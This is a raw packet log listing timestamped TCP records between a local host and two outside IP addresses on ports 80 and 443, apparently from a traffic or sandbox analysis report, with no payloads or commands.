Dec 19, 2023 05:18:23.339037895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.339088917 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.339569092 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.340847969 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.341079950 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.341717958 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.344234943 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.344280005 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.344316006 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.344345093 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.344444990 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.344661951 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.344773054 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.345040083 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.345082998 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.345202923 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.345262051 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.345788002 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.346081972 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.346611977 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.346914053 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:24.341967106 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:24.342004061 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:24.342056990 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:24.342092991 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:24.510406971 CET	49717	80	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:24.701913118 CET	80	49717	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:24.702182055 CET	49717	80	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:24.702400923 CET	49717	80	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:24.894079924 CET	80	49717	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:24.894125938 CET	80	49717	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:24.894145966 CET	80	49717	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:24.894192934 CET	49717	80	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:24.894212961 CET	49717	80	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:24.904992104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:24.905030966 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:24.905093908 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:24.914654016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:24.914669991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:25.486566067 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:25.486692905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:25.586900949 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:25.586922884 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:25.587239027 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:25.587296009 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:25.589787006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:25.632730961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.036581993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.036607027 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.036622047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.036797047 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.036818027 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.036870956 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.037097931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.037116051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.037200928 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.037208080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.037245989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.222719908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.222750902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.222812891 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.222827911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.222860098 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.222882986 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.223270893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.223287106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.223345041 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.223351002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.223387957 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.223690033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.223705053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.223758936 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.223763943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.223800898 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.407999039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.408019066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.408066034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.408078909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.408094883 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.408114910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.409199953 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.409214973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.409276962 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.409285069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.409322023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.410608053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.410623074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.410671949 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.410676956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.410716057 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.411690950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.411705017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.411763906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.411772013 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.411808014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.412714005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.412734032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.412769079 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.412775040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.412832022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.412918091 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.413614988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.413635969 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.413670063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.413676023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.413710117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.592725039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.592752934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.592842102 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.592856884 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.592897892 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.593286991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.593305111 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.593355894 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.593364000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.593403101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.594080925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.594094992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.594146967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.594151974 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.594191074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.595093966 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.595108032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.595165014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.595170021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.595212936 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.596740007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.596754074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.596785069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.596791029 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.596823931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.596837997 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.597337008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.597349882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.597398996 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.597404957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.597446918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.597779989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.597795010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.597866058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.597871065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.597923040 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.598169088 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.598182917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.598243952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.598249912 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.598284960 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.598582029 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.598597050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.598651886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.598656893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.598690987 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.598953009 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.598973989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.599020958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.599025965 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.599057913 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.599071980 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.599364996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.599380016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.599446058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.599451065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.599489927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.599807978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.599822998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.599879026 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.599885941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.599925995 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.600825071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.600838900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.600891113 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.600897074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.600938082 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.779407978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.779427052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.779531002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.779547930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.779591084 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.780621052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.780636072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.780695915 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.780700922 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.780740023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.781748056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.781763077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.781827927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.781833887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.781873941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.782828093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.782841921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.782903910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.782908916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.782954931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.784049034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.784063101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.784116983 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.784121990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.784168005 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.785269976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.785285950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.785350084 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.785356045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.785401106 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.786492109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.786506891 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.786559105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.786565065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.786608934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.787328959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.787345886 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.787410021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.787416935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.787456989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.788286924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.788300991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.788366079 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.788372040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.788417101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.789455891 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.789469957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.789536953 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.789541960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.789589882 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.790462017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.790476084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.790533066 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.790539980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.790581942 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.793625116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.793646097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.793720961 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.793728113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.793781042 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.794275999 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.794291973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.794379950 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.794384956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.794425964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.795079947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.795097113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.795152903 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.795159101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.795197010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.795780897 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.795800924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.795864105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.795869112 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.795912027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.796638012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.796653032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.796752930 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.796763897 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.796825886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.797755003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.797771931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.797838926 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:26.797847033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:26.797890902 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.000705957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.000734091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.000782013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.000792027 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.000806093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.000844955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.000847101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.000884056 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.000896931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.000910997 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.000927925 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.002173901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.002192020 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.002224922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.002233028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.002248049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.002248049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.002271891 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.002276897 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.002280951 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.002295971 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.002332926 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.003482103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.003498077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.003551006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.003556967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.003593922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.003840923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.003856897 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.003904104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.003911018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.003937006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.003954887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004203081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004216909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004262924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004266024 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004272938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004297018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004302979 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004326105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004329920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004339933 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004355907 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004362106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004383087 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004389048 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004410028 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004412889 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004441023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004443884 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004451990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004473925 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004501104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004503012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004513979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004532099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004555941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004563093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004575014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004576921 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004594088 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004594088 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004612923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004626036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004659891 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004679918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004693031 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004739046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004744053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004753113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004770041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004786968 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004791021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004818916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004822016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004839897 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004849911 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004853964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004873037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004894018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004900932 CET	49718	443	192.168.2.6	108.181.20.35
